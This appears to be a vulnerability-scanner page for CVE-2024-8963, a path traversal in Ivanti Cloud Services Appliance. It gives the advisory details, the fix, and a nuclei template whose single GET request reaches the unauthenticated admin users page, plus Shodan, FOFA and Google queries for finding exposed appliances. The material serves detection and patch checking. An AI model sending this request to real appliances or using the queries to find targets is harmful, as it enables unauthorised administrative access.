Ivanti Cloud Services Appliance - Path Traversal

Exploited in the wild. Listed by CISA on 2024-09-19; known to be used by ransomware.

criticalseverity

9.1CVSS score

98.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Path Traversal in the Ivanti CSA before 4.6 Patch 519 allows a remote unauthenticated attacker to access restricted functionality.

Impact

Unauthenticated attackers can exploit path traversal to access restricted administrative functionality, potentially gaining unauthorized control of the Ivanti Cloud Services Appliance and accessing sensitive user management features.

Fix

Update Ivanti Cloud Services Appliance to version 4.6 Patch 519 or later to address the path traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/client/index.php%3F.php/gsb/users.php
Positive when: contains "Ivanti Cloud Services Appliance" and "User name" and "Set Password" AND status 200

Run it with nuclei: nuclei -id CVE-2024-8963 -u <target>

The full check

id: CVE-2024-8963

info:
  name: Ivanti Cloud Services Appliance - Path Traversal
  author: johnk3r
  severity: critical
  description: |
    Path Traversal in the Ivanti CSA before 4.6 Patch 519 allows a remote unauthenticated attacker to access restricted functionality.
  impact: |
    Unauthenticated attackers can exploit path traversal to access restricted administrative functionality, potentially gaining unauthorized control of the Ivanti Cloud Services Appliance and accessing sensitive user management features.
  remediation: |
    Update Ivanti Cloud Services Appliance to version 4.6 Patch 519 or later to address the path traversal vulnerability.
  reference:
    - https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa
    - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-8963
    cwe-id: CWE-22
    epss-score: 0.98607
    epss-percentile: 0.99923
    cpe: cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:4.6:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ivanti
    product: endpoint_manager_cloud_services_appliance
    shodan-query:
      - http.title:"cloud services appliance"
      - http.title:"landesk(r) cloud services appliance"
    fofa-query: title="landesk(r) cloud services appliance"
    google-query: intitle:"landesk(r) cloud services appliance"
  tags: cve,cve2024,ivanti,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/client/index.php%3F.php/gsb/users.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Ivanti Cloud Services Appliance"
          - "User name"
          - "Set Password"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from